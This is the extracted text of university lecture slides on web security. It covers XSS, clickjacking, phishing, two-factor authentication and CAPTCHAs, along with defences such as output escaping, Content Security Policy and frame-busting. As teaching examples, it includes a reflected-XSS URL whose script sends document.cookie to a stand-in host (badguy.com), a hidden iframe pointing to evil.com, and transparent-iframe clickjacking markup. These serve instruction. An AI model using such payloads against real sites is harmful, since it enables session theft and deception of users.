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Reflections on XSS 
and User Interfaces
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Two Major Types of XSS 
(Cross-Site Scripting)
• There are two main types of XSS attacks

• In a stored (or “persistent”) XSS attack, the attacker leaves their script 

lying around on mybank.com server

• … and the server later unwittingly sends it to your browser

• Your browser is none the wiser, and executes it within the same origin as the 
mybank.com server


• In a reflected XSS attack, the attacker gets you to send the mybank.com 
server a URL that has a Javascript script crammed into it …

• … and the server echoes it back to you in its response

• Your browser is none the wiser, and executes the script in the response within the 

same origin as mybank.com
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Reflected XSS (Cross-Site Scripting) 
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Victim client



Computer Science 161 Fall 2017 Weaver

Reflected XSS

4

Attack Server

Victim client

visit web site
1

evil.com
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Reflected XSS
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Attack Server

Victim client

visit web site

receive malicious page1

2 evil.com
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Reflected XSS
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Attack Server

Victim client

visit web site

receive malicious page

click on link

1

2

3

Server Patsy/Victim 

Exact URL under 
attacker’s control

mybank.com

evil.com
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Reflected XSS
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Victim client click on linkecho user input

3
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Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2 evil.com

mybank.com
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Reflected XSS
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Victim client click on linkecho user input

3
4

Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5
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Reflected XSS

9

Victim client click on linkecho user input

3
4

Server Patsy/Victim 

Attack Server
visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5 perform attacker action
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Reflected XSS
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Attack Server

Victim client click on linkecho user input

3

send valuable data

7

4

Server Patsy/Victim 

visit web site

receive malicious page1

2

execute script 
embedded in input 
as though server 
meant us to run it

5

And/Or:

evil.com

mybank.com
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Reflected XSS
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Attack Server

Victim client

visit web site

receive malicious page

click on linkecho user input
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Example of How 
Reflected XSS Can Come About
• User input is echoed into HTML response.

• Example: search field

• http://victim.com/search.php?term=apple 

• search.php  responds with 
<HTML>  <TITLE> Search Results </TITLE>  
<BODY>  
Results for $term  
. . .  
</BODY> </HTML>


• How does an attacker who gets you to visit evil.com exploit 
this?
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• Consider this link on evil.com: (properly URL encoded)

• http://victim.com/search.php?term=<script> window.open("http://

badguy.com?cookie="+document.cookie) </script> 
• http://victim.com/search.php?

term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3
D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E 

• What if user clicks on this link?

• Browser goes to victim.com/search.php?...

• victim.com returns 

<HTML> Results for <script> … </script> …

• Browser executes script in same origin as victim.com

• Sends badguy.com cookie  for victim.com

Injection Via Script-in-URL
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Reflected XSS: Summary

• Target: user with Javascript-enabled browser who visits a vulnerable web 
service that will include parts of URLs it receives in the web page output it 
generates


• Attacker goal: run script in user’s browser with same access as provided 
to server’s regular scripts (subvert SOP = Same Origin Policy)


• Attacker tools: ability to get user to click on a specially-crafted URL; 
optionally, a server used to receive stolen information such as cookies


• Key trick: server fails to ensure that output it generates does not contain 
embedded scripts other than its own


• Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) 
requires use of Javascript (generally)
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And Hiding It All...

• Both CSRF and reflected XSS require the attacker's web 
page to run...


• In a way not noticed by the victim


• Fortunately? iFrames to the rescue!

• Have the "normal" page controlled by the attacker create a 1x1 iframe...

• <iframe height=1 width=1  

src="http://www.evil.com/actual-attack"> 

• This enables the attacker's code to run...

• And the attacker can mass-compromise a whole bunch of websites... 

and just inject that bit of script into them
15
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And Thus You Don't Even Need A Click!

• Bad guy compromises a bunch of sites...

• All with a 1x1 iFrame pointing to badguy.com/exploitme


• badguy.com/exploitme is a rich page...

• As many CSRF attacks as the badguy wants...

• Encoded in image tags...


• As many reflected XSS attacks as the badguy wants...

• Encoded in still further iframes...


• As many stored XSS attacks as the badguy wants...

• If the attacker has pre-stored the XSS payload on the targets


• Why does this work?

• Each iframe is treated just like any other web page

• This sort of thing is legitimate web functionality, so the browser goes "Okeydoke..."
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Protecting Servers Against XSS (OWASP)

• OWASP = Open Web Application Security Project

• Lots of guidelines, but 3 key ones cover most situations 

https://www.owasp.org/index.php/ 
 XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


• Never insert untrusted data except in allowed locations

• HTML-escape before inserting untrusted data into simple HTML element 

contents

• HTML-escape all non-alphanumeric characters before inserting untrusted 

data into simple attribute contents
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Never Insert Untrusted Data Except In Allowed 
Locations
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HTML-Escape Before Inserting Untrusted Data into 
Simple HTML Element Contents

19

“Simple”: <p>,	<b>,	<td>, …

Rewrite 6 characters (or, better, use framework functionality): 
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HTML-Escape Before Inserting Untrusted Data into 
Simple HTML Element Contents

20

While this is a “default-allow” black-list, it’s 
one that’s been heavily community-vetted

Rewrite 6 characters (or, better, use framework functionality): 
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HTML-Escape All Non-Alphanumeric Characters Before 
Inserting Untrusted Data into Simple Attribute Contents

21

“Simple”: width=,	height=,	value=… 
NOT: href=,	style=,	src=,	onXXX=	...

Escape using &#xHH;	where HH is hex ASCII code  
(or better, again, use framework support)
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Web Browser Heuristic Protections...

• Web Browser developers are always in a tension

• Functionality that may be critical for real web apps are often also abused

• Why CSRF is particularly hard to stop: 

It uses the motifs used by real apps


• But reflected XSS is a bit unusual...

• So modern web browsers may use heuristics to stop some reflected XSS:

• E.g. recognize that <script> is probably bad in a URL, replace with 

script>


• Not bulletproof however

• See the Piazza post
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Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

23
http://www.html5rocks.com/en/tutorials/security/content-security-policy/



Computer Science 161 Fall 2017 Weaver

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

Content Security Policy (CSP)

24
http://www.html5rocks.com/en/tutorials/security/content-security-policy/

This says only allow scripts fetched explicitly 
(“<script	src=URL></script>”) from the server, 
or from http://b.com, but not from anywhere else. 

Will not execute a script that’s included inside a server’s 
response to some other query (required by XSS).
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Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a 
browser can load resources (Javascript scripts, images, 
frames, …) for a given web page


• Approach: 

• Prohibits inline scripts

• Content-Security-Policy HTTP header allows reply to specify white-list, 

instructs the browser to only execute or render resources from those sources

• E.g., script-src 'self' http://b.com; img-src *

• Relies on browser to enforce

25
http://www.html5rocks.com/en/tutorials/security/content-security-policy/

This says to allow images to 
be loaded from anywhere.



Computer Science 161 Fall 2017 Weaver

CSP resource directives

• script-src limits the origins for loading scripts

• This is the critical one for us


• img-src lists origins from which images can be loaded.

• connect-src limits the origins to which you can connect (via XHR, WebSockets, 

and EventSource).

• font-src specifies the origins that can serve web fonts. 

• frame-src lists origins can be embedded as frames 

• media-src restricts the origins for video and audio.

• object-src allows control over Flash, other plugins

• style-src is script-src counterpart for stylesheets

• default-src define the defaults for any directive not otherwise specified

26
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Multiple XSS and/or CSRF vulnerabilities: 
Canaries in the coal mine...
• If a site has one fixed XSS or CSRF vulnerability...

• Eh, people make mistakes...  And they fixed it


• If a site has multiple XSS or CSRF vulnerabilities...

• They did not use a systematic toolkit to prevent these

• And instead are doing piecemeal patching...


• Its like memory errors

• If you squish them one at a time, there are probably lurking ones

• If you squish them all, why worry?

27
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Misleading Users

• Browser assumes clicks & keystrokes = clear indication of 
what the user wants to do


• Constitutes part of the user’s trusted path


• Attacker can meddle with integrity of this relationship in 
different ways …

28
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Navigate to www.berkeley.edu
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30

Same, but smaller window. 
Mouse anywhere over the region points to 
https://crowdfund.berkeley.edu



Computer Science 161 Fall 2017 Weaver
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Let's load www.berkeley.edu 
<p> 
<div> 
<iframe src="http://www.berkeley.edu" 
width=500 height=500></iframe> 
</div> 

We load www.berkeley.edu in an iframe
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Any Javascript in the surrounding window 
can’t generate synthetic clicks in the 
framed window due to Same Origin Policy
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Though of course if the user themselves 
clicks in the framed window, that “counts” …



Computer Science 161 Fall 2017 Weaver

34



Computer Science 161 Fall 2017 Weaver

35

Let's load www.berkeley.edu 
<p> 
<div style="position:absolute; top: 0px;"> 
<iframe src="http://www.berkeley.edu" 
width=500 height=500></iframe> 
</div>

We position the iframe to completely 
overlap with the outer frame
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Let's load www.berkeley.edu 
<p> 
<div style="position:absolute; top: 40px;"> 
<iframe src="http://www.berkeley.edu" 
width=500 height=500></iframe> 
</div>

We nudge the iframe’s position a bit below 
the top so we can see our outer frame text
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<style> .bigspace { margin-top: 210pt; } </style> 
Let's load www.berkeley.edu 
<p class="bigspace"> 
<em>You <b>Know</b> You Want To Click Here!</em> 
<p> 
<div style="position:absolute; top: 40px;"> 
<iframe src="http://www.berkeley.edu" width=500 
height=500></iframe> 
</div>

We add marked-up text to the outer 
frame, about 3 inches from the top
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<style> .bigspace { margin-top: 210pt; } </style> 
<style> div { opacity: 0.8; } </style> 
Let's load www.berkeley.edu, opacity 0.8 
<p class="bigspace"> 
<em>You <b>Know</b> You Want To Click Here!</em> 
<p> 
<div style="position:absolute; top: 40px;"> 
<iframe src="http://www.berkeley.edu" width=500 
height=500></iframe> 
</div>

We make the iframe partially transparent
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<style> .bigspace { margin-top: 210pt; } </style> 
<style> div { opacity: 0.1; } </style> 
Let's load www.berkeley.edu, opacity 0.1 
<p class="bigspace"> 
<em>You <b>Know</b> You Want To Click Here!</em> 
<p> 
<div style="position:absolute; top: 40px;"> 
<iframe src="http://www.berkeley.edu" width=500 
height=500></iframe> 
</div>

We make the iframe highly transparent
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<style> .bigspace { margin-top: 210pt; } </style> 
<style> div { opacity: 0; } </style> 
Let's load www.berkeley.edu, opacity 0 
<p class="bigspace"> 
<em>You <b>Know</b> You Want To Click Here!</em> 
<p> 
<div style="position:absolute; top: 40px;"> 
<iframe src="http://www.berkeley.edu" width=500 
height=500></iframe> 
</div>

We make the iframe entirely transparent
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Click anywhere over the region goes to 
https://crowdfund.berkeley.edu
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Clickjacking

• By placing an invisible iframe of target.com over some enticing 
content, a malicious web server can fool a user into taking unintended 
action on target.com …


• ... By placing a visible iframe of target.com under the attacker’s own 
invisible iframe, a malicious web server can “steal” user input – in 
particular, keystrokes

48
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Clickjacking Defenses

• Require confirmation for actions (annoys users)

• Frame-busting: Web site ensures that its “vulnerable” 

pages can’t be included as a frame inside another browser 
frame


• So user can’t be looking at it with something invisible overlaid on top …

• … nor have the site invisible above something else

49
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50

Attacker implements this by placing Twitter’s page in a 
“Frame” inside their own page.  Otherwise they wouldn’t 

overlap.



Computer Science 161 Fall 2017 Weaver

Clickjacking Defenses

• Require confirmation for actions (annoys users)

• Frame-busting: Web site ensures that its “vulnerable” 

pages can’t be included as a frame inside another browser 
frame


• So user can’t be looking at it with something invisible overlaid on top …

• … nor have the site invisible above something else


• See OWASP’s “cheat sheet” for this: 
https://www.owasp.org/index.php/
Clickjacking_Defense_Cheat_Sheet
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Clickjacking Defenses

• Require confirmation for actions (annoys users)

• Frame-busting: Web site ensures that its “vulnerable” pages can’t be 

included as a frame inside another browser frame

• So user can’t be looking at it with something invisible overlaid on top …

• … nor have the site invisible above something else


• See OWASP’s “cheat sheet” for this: 
https://www.owasp.org/index.php/
Clickjacking_Defense_Cheat_Sheet


• Another approach: HTTP X-Frame-Options header

• Allows white-listing of what domains – if any – are allowed to frame a given page a server 

returns
52
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Phishing...

• Leveraging the richness of web pages...

• And user training!
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Date:  Thu, 9 Feb 2017 07:19:40 -0600 
From:  PayPal <alert@gnc.cc> 
Subject:  [Important] : This is an automatic message to : (vern) 
To:  vern@aciri.org
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The Problem of Phishing

• Arises due to mismatch between reality & user’s:

• Perception of how to assess legitimacy

• Mental model of what attackers can control

• Both Email and Web


• Coupled with:

• Deficiencies in how web sites authenticate

• In particular, “replayable” authentication that is vulnerable to theft


• Attackers have many angles …
68
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Homograph Attacks

• International domain names can use international character set	
• E.g., Chinese contains characters that look like / . ? =	

• Attack: Legitimately register var.cn …	
• … buy legitimate set of HTTPS certificates for it …	
• … and then create a subdomain: 

    www.pnc.com⁄webapp⁄unsec⁄homepage.var.cn 

70

This is one subdomain
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Check for a padlock?

71
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Check for “green glow” in address bar?
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Check for Everything?
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“Browser in Browser”

Apparent browser is just a 
fully interactive image 
generated by Javascript 
running in real browser!
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So Why Does This Work?

• Because	users	are	stupid?

77



Computer Science 161 Fall 2017 Weaver

Why does phishing work?

• User mental model vs. reality	
• Browser security model too hard to understand!	

• The easy path is insecure; the secure path takes extra effort	

• Risks are rare	

• Users tend not to suspect malice; they find benign interpretations and 
have been acclimated to failure 

• And as a bonus, we actively train users to be phished!
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Two Factor

• Because people chose bad passwords...

• Add a second authentication path


• Relies on the user having access to something orthogonal 
to the password


• Cellphone or email

• Security Token/Authenticator App

• FiDo U2F security key

79
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Second Communication Channel...

• Provide the "security code" (4-8 digits) transmitted "out of 
band"


• Cellphone SMS

• Email


• Still vulnerable to transient phishing (a relay attack)...

• Phishing site immediately tries to log in as the user...

• Sees 2-factor is in use

• Presents a fake "2-Factor" challenge

• Passes the result to the site... 

BOOM, logged in!
80
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Authentication Tokens/Apps

• RSA Securid and Google Authenticator

• Token and site share a common secret key


• Display first 6 digits of: HMAC(K, time)

• Time rounded to 30 seconds


• Verify:

• If code == HMAC(K, time) or HMAC(K, time+30) or HMAC(K, time-30), OK


• Still vulnerable to phishing!

• But code is relatively small...

• Assumes some limit on brute-forcing: After 3+ tries, start adding delays
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FiDo U2F

• Two operations:

• Register Site:

• Generate a new public/private key pair and present it to the site

• Verify:

• Given a nonce, site, and key ID, sign the nonce and return it

• Nonce (provided by server) prevents replay attack

• Site is verified as allowed for the key ID, prevents relay attack


• Both operations require user presence

• Can't happen in the background, need to "touch" the key


• Can't be phished!

• A phishing site will fail the site verification
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CAPTCHAs: 
How Lazy Cryptographers Do AI
• The whole point of CAPCHAs is not just to solve "is this 

human"...

• But leverage bad guys to force them to solve hard problems

• Primarily focused on machine vision problems

83
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CAPTCHAs

• Reverse Turing Test: present “user” a challenge that’s easy for a 
human to solve, hard for a program to solve 

• One common approach: distorted text that’s difficult for character-
recognition algorithms to decipher

85
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Problems?
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Issues with CAPTCHAs

• Inevitable arms race: as solving algorithms get better, defense erodes

88
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Issues with CAPTCHAs

• Inevitable arms race: as solving algorithms get better, defense erodes, 
or gets harder for humans

89
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Issues with CAPTCHAs

• Inevitable arms race: as solving algorithms get better, defense erodes, 
or gets harder for humans

91

• Accessibility: not all humans can see 
• Granularity: not all bots are bad 

(e.g., crawlers)
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Issues with CAPTCHAs, con’t

• Deepest problem: CAPTCHAs are inherently vulnerable to 
outsourcing attacks

• Attacker gets real humans to solve them
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These Days: 
CAPTCHAs are ways of training AI systems
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